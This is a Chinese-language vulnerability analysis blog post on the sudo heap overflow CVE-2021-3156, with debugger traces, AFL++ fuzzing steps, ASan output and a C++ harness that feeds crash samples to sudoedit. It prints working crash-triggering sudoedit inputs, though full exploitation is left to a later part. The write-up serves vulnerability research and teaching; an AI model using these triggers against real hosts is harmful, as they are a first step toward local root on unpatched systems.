一、前言
这个漏洞在sudo中是一个堆溢出漏洞,从Qualys团队的公告可知,该漏洞可以实现本地提权。影响范围较大,从 1.8.2 到 1.8.31p2 的所有旧版本和从 1.9.0 到 1.9.5p1 的所有稳定版本都受影响,且在macOS上也会受到影响。
2021年2月3日更新:据报道macOS, AIX和Solaris也容易受到CVE-2021-3156的攻击,其他平台也可能同样脆弱,但Qualys尚未独立证实该漏洞。
原帖子:Qualys研究团队在sudo中发现了一个堆溢出漏洞,sudo是一个几乎无处不在的实用程序,可以在主要的类unix操作系统上使用。任何非特权用户都可以通过使用默认sudo配置利用此漏洞获得易受攻击主机上的root权限。
Sudo是一个功能强大的实用程序,包含在大多数基于Unix和linux的操作系统中,它允许用户以其他用户的安全权限运行程序。近10年来,这个漏洞一直是灯下黑的状态。它是在2011年7月引入的(由8255ed69提交),从1.8.2到1.8.31p2的所有遗留版本以及从1.9.0到1.9.5p1的所有稳定版本的默认配置均受影响。
成功利用此漏洞允许任何无特权用户在易受攻击的主机上获得root权限。Qualys的安全研究人员已经能够独立验证该漏洞,并开发出多种漏洞变体,并在Ubuntu 20.04 (Sudo 1.8.31)、Debian 10 (Sudo 1.8.27)和Fedora 33 (Sudo 1.9.2)上获得完全root权限。其他操作系统和发行版本也可能被利用。在Qualys研究团队确认该漏洞后,Qualys立即负责任地进行了漏洞披露,并与sudo的作者和开源发行版协商公布了该漏洞。
Qualys Blogpost 原文(https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit)
二、漏洞分析
结合Qualys团队的公告
in sudoers_policy_main(), set_cmnd() concatenates the command-line arguments into a heap-based buffer “user_args” (lines 864-871) and unescapes the meta-characters (lines 866-867), “for sudoers matching and logging purposes”:
parallels@parallels-Parallels-Virtual-Platform:~$ sudoedit -i '' `python3 -c "print('A' * 65535)"`
malloc(): corrupted top size
Aborted (core dumped)
漏洞产生的代码位于 plugins/sudoers/sudoers.c 的 set_cmnd 函数,位于sudoers.c:864行的 for循环体内
为了方便理解,执行过程用最短的触发漏洞的poc
set args -i '' `python3 -c 'print("ABCDEFGHIJK")'`
r
Starting program: /usr/local/bin/sudoedit -i '' `python3 -c 'print("ABCDEFGHIJK")'`
debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 5, set_cmnd () at ./sudoers.c:802
802 {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x560f9d74c038 —▸ 0x560f9d744200 ◂— '/bin/bash'
RCX 0x687361622f6e69
RDX 0xa
RDI 0x560f9d744200 ◂— '/bin/bash'
RSI 0x7361622f6e69622f ('/bin/bas')
R8 0x560f9d744200 ◂— '/bin/bash'
R9 0x560f9d7450c0 ◂— 0xeb0
R10 0x560f9d735010 ◂— 0x100000000
R11 0x7f2b69156be0 (main_arena+96) —▸ 0x560f9d74c070 ◂— 0x0
R12 0x560f9d3aa840 (_start) ◂— endbr64
R13 0x7fffa50945e0 ◂— 0x4
R14 0x0
R15 0x0
RBP 0x7fffa5094250 —▸ 0x7fffa50942c0 —▸ 0x7fffa5094320 —▸ 0x7fffa50944f0 ◂— 0x0
RSP 0x7fffa5094178 —▸ 0x7f2b6899fd5e (sudoers_policy_main+1281) ◂— mov dword ptr [rbp - 0x84], eax
RIP 0x7f2b689a174a (set_cmnd) ◂— endbr64
DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
0x7f2b689a174a <set_cmnd> endbr64
0x7f2b689a174e <set_cmnd+4> push rbp
0x7f2b689a174f <set_cmnd+5> mov rbp, rsp
0x7f2b689a1752 <set_cmnd+8> push rbx
0x7f2b689a1753 <set_cmnd+9> sub rsp, 0x78
0x7f2b689a1757 <set_cmnd+13> mov rax, qword ptr [rip + 0x3bb6a] <sudo_user+40>
0x7f2b689a175e <set_cmnd+20> mov qword ptr [rbp - 0x40], rax
0x7f2b689a1762 <set_cmnd+24> mov dword ptr [rbp - 0x74], 0
0x7f2b689a1769 <set_cmnd+31> lea rax, [rip + 0x3bcb0] <sudoers_subsystem_ids>
0x7f2b689a1770 <set_cmnd+38> mov eax, dword ptr [rax + 0x38]
0x7f2b689a1773 <set_cmnd+41> mov dword ptr [rbp - 0x70], eax
SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────
In file: /home/parallels/Desktop/CVE-2021-3156/sudo-SUDO_1_8_31/sudo-SUDO_1_8_31/plugins/sudoers/sudoers.c
797 * Fill in user_cmnd, user_args, user_base and user_stat variables
798 * and apply any command-specific defaults entries.
799 */
800 static int
801 set_cmnd(void)
802 {
803 struct sudo_nss *nss;
804 char *path = user_path;
805 int ret = FOUND;
806 debug_decl(set_cmnd, SUDOERS_DEBUG_PLUGIN)
807
STACK ]──────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffa5094178 —▸ 0x7f2b6899fd5e (sudoers_policy_main+1281) ◂— mov dword ptr [rbp - 0x84], eax
01:0008│ 0x7fffa5094180 —▸ 0x7fffa5094280 —▸ 0x7fffa50945f0 —▸ 0x560f9d3cbd29 ◂— 'sudoedit'
02:0010│ 0x7fffa5094188 —▸ 0x7fffa50942a0 —▸ 0x7fffa5094390 ◂— 0x0
03:0018│ 0x7fffa5094190 ◂— 0x7f00691991f3
04:0020│ 0x7fffa5094198 ◂— 0x0
05:0028│ 0x7fffa50941a0 —▸ 0x7fffa50945f0 —▸ 0x560f9d3cbd29 ◂— 'sudoedit'
06:0030│ 0x7fffa50941a8 ◂— 0x300000000
07:0038│ 0x7fffa50941b0 ◂— 0x3000000028 /* '(' */
BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────
f 0 0x7f2b689a174a set_cmnd
f 1 0x7f2b6899fd5e sudoers_policy_main+1281
f 2 0x7f2b6899b444 sudoers_policy_check+194
f 3 0x560f9d3c311a policy_check+258
f 4 0x560f9d3beb91 main+1523
f 5 0x7f2b68f8e083 __libc_start_main+243
DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
0x7f2b689a1b5c <set_cmnd+1042> add qword ptr [rbp - 0x28], 8
0x7f2b689a1b61 <set_cmnd+1047> mov rax, qword ptr [rbp - 0x28]
0x7f2b689a1b65 <set_cmnd+1051> mov rax, qword ptr [rax]
0x7f2b689a1b68 <set_cmnd+1054> test rax, rax
0x7f2b689a1b6b <set_cmnd+1057> jne set_cmnd+1012 <set_cmnd+1012>
0x7f2b689a1b6d <set_cmnd+1059> cmp qword ptr [rbp - 0x20], 0
0x7f2b689a1b72 <set_cmnd+1064> je set_cmnd+1101 <set_cmnd+1101>
0x7f2b689a1b74 <set_cmnd+1066> mov rax, qword ptr [rbp - 0x20]
0x7f2b689a1b78 <set_cmnd+1070> mov rdi, rax
0x7f2b689a1b7b <set_cmnd+1073> call malloc@plt <malloc@plt>
0x7f2b689a1b80 <set_cmnd+1078> mov qword ptr [rip + 0x3b789], rax <sudo_user+112>
SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────
In file: /home/parallels/Desktop/CVE-2021-3156/sudo-SUDO_1_8_31/sudo-SUDO_1_8_31/plugins/sudoers/sudoers.c
849 size_t size, n;
850
851 /* Alloc and build up user_args. */
852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
856 debug_return_int(-1);
857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
859
0x7f2b689a1b7b <set_cmnd+1073> call malloc@plt <malloc@plt>
RAX 0x560f9d7442c0 —▸ 0x7f2b69156be0 (main_arena+96) —▸ 0x560f9d74c070 ◂— 0x0
RBX 0x560f9d74c038 —▸ 0x560f9d744200 ◂— '/bin/bash'
RCX 0x560f9d7442d0 ◂— 0x0
RDX 0xdf1
RDI 0x0
RSI 0x560f9d7442b0 ◂— 0x0
R8 0x560f9d7442c0 —▸ 0x7f2b69156be0 (main_arena+96) —▸ 0x560f9d74c070 ◂— 0x0
R9 0x560f9d7450c0 ◂— 0xdf0
R10 0x560f9d735010 ◂— 0x100000000
R11 0x7f2b69156be0 (main_arena+96) —▸ 0x560f9d74c070 ◂— 0x0
R12 0x560f9d3aa840 (_start) ◂— endbr64
R13 0x7fffa50945e0 ◂— 0x4
R14 0x0
R15 0x0
RBP 0x7fffa5094170 —▸ 0x7fffa5094250 —▸ 0x7fffa50942c0 —▸ 0x7fffa5094320 —▸ 0x7fffa50944f0 ◂— ...
*RSP 0x7fffa50940f0 ◂— 0x5b0000006e /* 'n' */
*RIP 0x7f2b689a1b80 (set_cmnd+1078) ◂— mov qword ptr [rip + 0x3b789], rax
─────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
0x7f2b69004186 <malloc+166> pop rbx
0x7f2b69004187 <malloc+167> mov rax, r8
0x7f2b6900418a <malloc+170> pop rbp
0x7f2b6900418b <malloc+171> pop r12
0x7f2b6900418d <malloc+173> ret
↓
► 0x7f2b689a1b80 <set_cmnd+1078> mov qword ptr [rip + 0x3b789], rax <sudo_user+112>
0x7f2b689a1b87 <set_cmnd+1085> mov rax, qword ptr [rip + 0x3b782] <sudo_user+112>
0x7f2b689a1b8e <set_cmnd+1092> test rax, rax
0x7f2b689a1b91 <set_cmnd+1095> jne set_cmnd+1315 <set_cmnd+1315>
↓
0x7f2b689a1c6d <set_cmnd+1315> mov eax, dword ptr [rip + 0x3b61d] <sudo_mode>
0x7f2b689a1c73 <set_cmnd+1321> and eax, 0x60000
if (from[0] == '\' && !isspace((unsigned char)from[1]))
很明显,[rbp – 0x30] 就是from的起始地址,
RBX: 0x7fffa5094170 ,再减 0x30
pwndbg> x/10xg 0x7fffa5094170 - 0x30
0x7fffa5094140: 0x00007fffa50961ee 0x0000560f9d74c040
0x7fffa5094150: 0x000000000000000e 0x00007f2b6900938f
0x7fffa5094160: 0x0000000000000000 0x0000560f9d74c038
0x7fffa5094170: 0x00007fffa5094250 0x00007f2b6899fd5e
0x7fffa5094180: 0x00007fffa5094280 0x00007fffa50942a0
pwndbg> x/5s 0x00007fffa50961ee
0x7fffa50961ee: "\"
0x7fffa50961f0: "ABCDEFGHIJK"
0x7fffa50961fc: "SHELL=/bin/bash"
0x7fffa509620c: "COLORTERM=truecolor"
0x7fffa5096220: "SUDO_GID=1000"
pwndbg> x/10xg 0x00007fffa50961ee
0x7fffa50961ee: 0x464544434241005c 0x4853004b4a494847
0x7fffa50961fe: 0x6e69622f3d4c4c45 0x4f4300687361622f
0x7fffa509620e: 0x3d4d524554524f4c 0x6f6c6f6365757274
0x7fffa509621e: 0x475f4f4455530072 0x00303030313d4449
0x7fffa509622e: 0x4d4f435f4f445553 0x73752f3d444e414d
864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
► 865 while (*from) {
866 if (from[0] == '\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
C 库函数 int isspace(int c) 检查所传的字符是否是空白字符。
' ' (0x20) space (SPC) 空格符
't' (0x09) horizontal tab (TAB) 水平制表符
'n' (0x0a) newline (LF) 换行符
'v' (0x0b) vertical tab (VT) 垂直制表符
'f' (0x0c) feed (FF) 换页符
'r' (0x0d) carriage return (CR) 回车符
因为 0x7fffa50961ee: 0x464544434241005c,5c后面是0x00
如果 ‘’ 的下一个字符是,非空白字符,则from++,然后 *to++ = *from++; 导致while跳过了一个0x00,然后整个循环多复制了一次 ‘ABCDEFGHIJK’。可以看下原本的chunk地址
pwndbg> x/10xg 0x560f9d7442c0
0x560f9d7442c0: 0x00007f2b69156be0 0x00007f2b69156be0
0x560f9d7442d0: 0x0000000000000000 0x0000000000000df1
0x560f9d7442e0: 0x00007f2b69156be0 0x00007f2b69156be0
0x560f9d7442f0: 0x0000000000000000 0x0000000000000000
0x560f9d744300: 0x207372656f647573 0x6e6f2073656c6966
pwndbg> x/10xg 0x560f9d7442c0
0x560f9d7442c0: 0x4746454443424100 0x434241204b4a4948
0x560f9d7442d0: 0x4b4a494847464544 0x0000000000000d00 #这里已经把f1覆盖成00了
0x560f9d7442e0: 0x00007f2b69156be0 0x00007f2b69156be0
0x560f9d7442f0: 0x0000000000000000 0x0000000000000000
0x560f9d744300: 0x207372656f647573 0x6e6f2073656c6966
pwndbg> x/5s 0x560f9d7442c0
0x560f9d7442c0: ""
0x560f9d7442c1: "ABCDEFGHIJK ABCDEFGHIJK"
0x560f9d7442d9: "r"
0x560f9d7442db: ""
0x560f9d7442dc: ""
pwndbg> unsortedbin
unsortedbin
all: 0x560f9d7442d0 —▸ 0x7f2b69156be0 (main_arena+96) ◂— 0x560f9d7442d0
pwndbg> x/10xg 0x560f9d7442d0
0x560f9d7442d0: 0x4b4a494847464544 0x0000000000000d00
0x560f9d7442e0: 0x00007f2b69156be0 0x00007f2b69156be0
0x560f9d7442f0: 0x0000000000000000 0x0000000000000000
0x560f9d744300: 0x207372656f647573 0x6e6f2073656c6966
0x560f9d744310: 0x6564617267707520 0x206c65654620202e
然后gdb continue,就能看到
malloc(): invalid next size (unsorted)
pwndbg> unsortedbin
unsortedbin
all: 0x560f9d7442d0 —▸ 0x7f2b69156be0 (main_arena+96) ◂— 0x560f9d7442d0
pwndbg> x/10xg 0x560f9d7442d0
0x560f9d7442d0: 0x4b4a494847464544 0x0000000000000d00
0x560f9d7442e0: 0x00007f2b69156be0 0x00007f2b69156be0
0x560f9d7442f0: 0x0000000000000000 0x0000000000000000
0x560f9d744300: 0x207372656f647573 0x6e6f2073656c6966
0x560f9d744310: 0x6564617267707520 0x206c65654620202e
pwndbg> c
Continuing.
malloc(): invalid next size (unsorted)
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────
*RAX 0x0
*RBX 0x7f2b68f63280 ◂— 0x7f2b68f63280
*RCX 0x7f2b68fad00b (raise+203) ◂— mov rax, qword ptr [rsp + 0x108]
*RDX 0x0
*RDI 0x2
*RSI 0x7fffa5093670 ◂— 0x0
*R8 0x0
*R9 0x7fffa5093670 ◂— 0x0
*R10 0x8
*R11 0x246
*R12 0x7fffa50938e0 ◂— 0x0
*R13 0x10
*R14 0x7f2b691ea000 ◂— 0x6c6c616d00001000
*R15 0x1
*RBP 0x7fffa50939c0 ◂— 0x0
*RSP 0x7fffa5093670 ◂— 0x0
*RIP 0x7f2b68fad00b (raise+203) ◂— mov rax, qword ptr [rsp + 0x108]
─────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────
► 0x7f2b68fad00b <raise+203> mov rax, qword ptr [rsp + 0x108]
0x7f2b68fad013 <raise+211> xor rax, qword ptr fs:[0x28]
0x7f2b68fad01c <raise+220> jne raise+260 <raise+260>
↓
0x7f2b68fad044 <raise+260> call __stack_chk_fail <__stack_chk_fail>
0x7f2b68fad049 nop dword ptr [rax]
0x7f2b68fad050 <killpg> endbr64
0x7f2b68fad054 <killpg+4> test edi, edi
0x7f2b68fad056 <killpg+6> js killpg+16 <killpg+16>
0x7f2b68fad058 <killpg+8> neg edi
0x7f2b68fad05a <killpg+10> jmp kill <kill>
0x7f2b68fad05f <killpg+15> nop
──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7fffa5093670 ◂— 0x0
01:0008│ 0x7fffa5093678 ◂— 0x1
02:0010│ 0x7fffa5093680 ◂— 0xffffffff
03:0018│ 0x7fffa5093688 ◂— 0x7fff00000000
04:0020│ 0x7fffa5093690 —▸ 0x7f2b69180c28 ◂— 0xe00120000069b
05:0028│ 0x7fffa5093698 —▸ 0x7f2b691a3510 —▸ 0x7f2b6917f000 ◂— 0x10102464c457f
06:0030│ 0x7fffa50936a0 ◂— 0x0
07:0038│ 0x7fffa50936a8 ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x7f2b68fad00b raise+203
f 1 0x7f2b68f8c859 abort+299
f 2 0x7f2b68ff726e __libc_message+670
f 3 0x7f2b68fff2fc
f 4 0x7f2b6900210c _int_malloc+1692
f 5 0x7f2b69004154 malloc+116
f 6 0x7f2b691893eb sudo_getgrouplist2_v1+165
f 7 0x7f2b689b8b33 sudo_make_gidlist_item+467
三、漏洞复现
1. 首先编译对应版本的sudo
It was introduced in July 2011 (commit 8255ed69) and affects all legacy versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to 1.9.5p1 in their default configuration
我这里选择了Sudo version 1.8.31, 先正常编译确认漏洞存在
# 自己编的sudoedit在/usr/local/bin/sudoedit
wget https://github.com/sudo-project/sudo/archive/SUDO_1_8_31.tar.gz
tar -xvf SUDO_1_8_31.tar.gz
cd sudo-SUDO_1_8_31;
CFLAGS="-g" CPPFLAGS="-g"
make -j4
make install
# 存在漏洞
sudoedit -i '' `python3 -c 'print("A" * 65535)'`
corrupted top size :
Aborted (core dumped)
2. 确认存在漏洞后就要开始修改sudo的源码方便做argv fuzz
1). 首先arg fuzzing要用到
https://github.com/AFLplusplus/AFLplusplus/tree/stable/utils/argv_fuzzing
具体用法
Without persistent mode Conditions needed to use the argv_fuzzing feature:
1. Include argv-fuzz-inl.h header file (#include “argv-fuzz-inl.h”)
2. Identify your main function that parses arguments (for example, int main(int argc, char **argv))
3. Use one of the following macros (near the beginning of the main function) to initialize argv with the fuzzer’s input: AFL_INIT_ARGV(); or AFL_INIT_SET0(“prog_name”); to preserve argv[0] (the name of the program being executed)
2). 修改密码验证函数
fuzz的时候会遇到输入密码的阶段,为了让密码验证函数直接返回密码错误的结果,需要修改对应的函数,在auth/sudo_auth.c的verify_user 函数,添加一个return 0。
case AUTH_FAILURE:
...
ret = false;
do { int sudo_debug_ret = (ret); sudo_debug_exit_int_v1((__func__), ("/home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/auth/sudo_auth.c"), (368), (sudo_debug_subsys), (sudo_debug_ret)); return sudo_debug_ret; } while (0)
3). 实测发现 main ——> initprogname 会优先使用__progname宏获取程序名,而不是argv[0]
所以要修改 initprogname函数的第一行,改成 # if 0,相当于直接执行另一个分支把argv[0]赋值给progname
3. 编译修改过后的sudo
改完以上的地方就可以开始用 afl-clang-fast 编译了,-g选项是方便调试的,–disable-shared 表示静态编译. AFL_USE_ASAN=1表示编译时开启ASAN检测内存错误,
CFLAGS="-g" LDFLAGS="-g" CC=afl-clang-fast ./configure --disable-shared --prefix=/home/parallels/Desktop/CVE-2021-3156/ALF_Changed_sudo/sudo-SUDO_1_8_31
AFL_USE_ASAN=1
make -j12
make install
4. 设置种子文件开始fuzz
变异种子文件可以用echo写,或者其他方法都可以,然后放在 sudo-SUDO_1_8_31路径的input文件夹内
hexdump -C seed.bin
00000000 73 75 64 6f 65 64 69 74 00 41 42 43 44 61 62 63 |sudoedit.ABCDabc|
00000010 64 00 00 |d..|
00000013
afl-fuzz -m none -i input/ -o output/ -M Master /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/bin/sudo -d
afl-fuzz -m none -i input/ -o output/ -S slave1 /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/bin/sudo -d
hexdump -C id:000001,sig:06,src:000089,time:435506,op:int16,pos:30,val:+512
00000000 73 da 64 01 73 81 50 f8 00 2d 69 00 10 74 00 73 |s.d.s.P..-i..t.s|
00000010 71 0c 6f 65 64 69 74 7e de 64 6f 65 64 5c 00 02 |q.oedit~.doed..|
00000020 04 10 ff |...|
00000023
parallels@parallels-Parallels-Virtual-Platform:~/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31$ ./bin/sudo < output/Master/crashes/id:000000,sig:06,src:000055,time:138620,op:arith8,pos:13,val:-24
=================================================================
==228111==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000008f8 at pc 0x00000054fe2a bp 0x7ffdc14e9110 sp 0x7ffdc14e9108
WRITE of size 1 at 0x6030000008f8 thread T0
#0 0x54fe29 in set_cmnd /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:868:10
#1 0x54fe29 in sudoers_policy_main /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:306:19
#2 0x5408ef in sudoers_policy_check /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./policy.c:872:11
#3 0x4f454d in policy_check /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/src/./sudo.c:1142:11
#4 0x4f454d in main /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/src/./sudo.c:257:11
#5 0x7f540c20c082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#6 0x420a7d in _start (/home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/bin/sudo+0x420a7d)
0x6030000008f8 is located 0 bytes to the right of 24-byte region [0x6030000008e0,0x6030000008f8)
allocated by thread T0 here:
#0 0x49897d in malloc (/home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/bin/sudo+0x49897d)
#1 0x54b7e8 in set_cmnd /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:854:36
#2 0x54b7e8 in sudoers_policy_main /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:306:19
#3 0x5408ef in sudoers_policy_check /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./policy.c:872:11
#4 0x4f454d in policy_check /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/src/./sudo.c:1142:11
#5 0x4f454d in main /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/src/./sudo.c:257:11
#6 0x7f540c20c082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:868:10 in set_cmnd
Shadow bytes around the buggy address:
0x0c067fff80c0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff80d0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff80e0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff80f0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff8100: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x0c067fff8110: fd fd fd fa fa fa fd fd fd fd fa fa 00 00 00[fa]
0x0c067fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==228111==ABORTING
in set_cmnd /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:868:10 0 0x54fe29
5. 在正常编译的sudo的复现
因为正常编译的sudo上没有argv fuzz,所以可以写一个程序来读取crash 样本作为参数在用execve来启动sudoedit,但是值得注意的是,我们之前用AFL_INIT_SET0(“sudoedit”) 固定了argv[0],所以用 execve 启动的时候要把样本的argv[0] 改成 sudoedit。
原来的crash样本
hexdump -C id:000001,sig:06,src:000089,time:435506,op:int16,pos:30,val:+512
00000000 73 da 64 01 73 81 50 f8 00 2d 69 00 10 74 00 73 |s.d.s.P..-i..t.s|
00000010 71 0c 6f 65 64 69 74 7e de 64 6f 65 64 5c 00 02 |q.oedit~.doed..|
00000020 04 10 ff |...|
00000023
hexdump -C crash_tmp3
00000000 73 75 64 6f 65 64 69 74 00 2d 69 00 10 5c 00 73 |sudoedit.-i...s|
00000010 71 0c 6f 65 64 69 74 7e de 64 6f 65 64 4c 74 7f |q.oedit~.doedLt.|
00000020 04 10 ff |...|
00000023
int main() {
// 打开 crash_tmp 文件
std::ifstream file("crash_tmp3", std::ios::binary);
if (!file.is_open()) {
std::cerr << "Failed to open file." << std::endl;
return 1;
}
// 读取文件内容并转换为字符串
std::ostringstream oss;
oss << file.rdbuf();
std::string file_contents = oss.str();
// 将文件内容解析为命令行参数
std::vector<std::string> args;
std::string arg;
for (char c : file_contents) {
if (c == ' ') {
args.push_back(arg);
arg.clear();
} else {
arg += c;
}
}
// 添加最后一个参数
if (!arg.empty()) {
args.push_back(arg);
}
// 将字符串数组转换为 C 风格的 argv
std::vector<char*> argv;
for (auto& str : args) {
argv.push_back(&str[0]);
}
argv.push_back(nullptr); // argv 结尾标志
// 准备额外的环境变量
char* extra_args[] = { nullptr };
// 打印 argc 和 argv
std::cout << "argc: " << args.size() << std::endl;
std::cout << "argv:" << std::endl;
for (int i = 0; i < args.size(); ++i) {
std::cout << " " << i << ": " << argv[i] << std::endl;
}
std::cout << args[0].c_str() << std::endl;
std::cout << argv.data() << std::endl;
// 在此处调用 sudoedit,并传递 argc 和 argv
if (execve("/usr/local/bin/sudoedit", argv.data(), extra_args) == -1) {
std::cerr << "Failed to execute sudoedit." << std::endl;
return 1;
}
// execve 成功时不会返回,如果执行到这里说明出错
std::cerr << "Error: execve should not return." << std::endl;
return 1;
}
argc: 4
argv:
0: sudoedit
1: -i
2:
3: sq
oedit~�doedLt�
sudoedit
0x563952b73310
corrupted top size :
Aborted (core dumped)
四、结论
这个漏洞复现难点在于修改 sudo的源码的部分,需要在修改的同时不影响其核心的运行逻辑,
下一章,我们将讨论这个漏洞的具体漏洞利用。
原文始发于微信公众号(顺丰安全应急响应中心):高端的二进制0day挖掘,往往只需要从1day的分析开始